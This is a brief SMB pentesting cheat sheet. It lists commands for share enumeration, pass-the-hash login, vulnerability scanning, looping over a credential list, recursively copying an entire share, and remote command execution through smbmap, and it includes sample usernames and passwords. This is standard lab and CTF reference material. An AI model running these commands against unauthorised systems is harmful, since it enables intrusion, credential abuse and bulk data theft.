Show shares with smbclient:

smbclient --no-pass -L //$target
smbclient -U guest //$target/
smbclient -U Administrator --pw-nt-hash $NTLMHASH \\\\$target\\directory

Show shares with oth­er clients:

smbmap -R -H $target // No user
smbmap -u L4mpje -p 'bureaulampje' -d WORKGROUP -H $target -R // User

nmap -sV --script=smb-enum-shares -p445 $target
crackmapexec smb $target -u '' -p '' --shares

Vul­ner­a­bil­i­ty scan

nmap --script=smb-vul* -p445 $target
proxychains4 nmap --script=smb-vul* -p445 -Pn -sT $target

Enu­mer­ate through an exist­ing list of users and passwords:

for cred in $(cat other_users.txt); do
  username=$(echo $cred | cut -d ',' -f 1)
  password=$(echo $cred | cut -d ',' -f 2 )
  echo "$username / $password"
  smbmap -R -H $victim -u $username -p $password
done;

Mount direc­to­ry

mount -t cifs -o user=bob,domain=THINC.LOCAL,vers=1.0 //$target/Bob /mnt

Copy whole share with smb­client (oth­er option for sub­di­rec­to­ry):

smbclient '\\$target\sharename' -N -c 'prompt OFF;recurse ON;mget *'

Execute commands

smbmap -u ariley -p 'pass' -d WORKGROUP -x 'whoami' -H $target

See also the Impack­et post

Connect to shares via cmd

Use the fol­low­ing to con­nect from a client to anoth­er client.

net use M: \\$target\share $password /u:$domain\$username

After­wards, always disconnect!

net use \\$target /del

Show all drives:

net use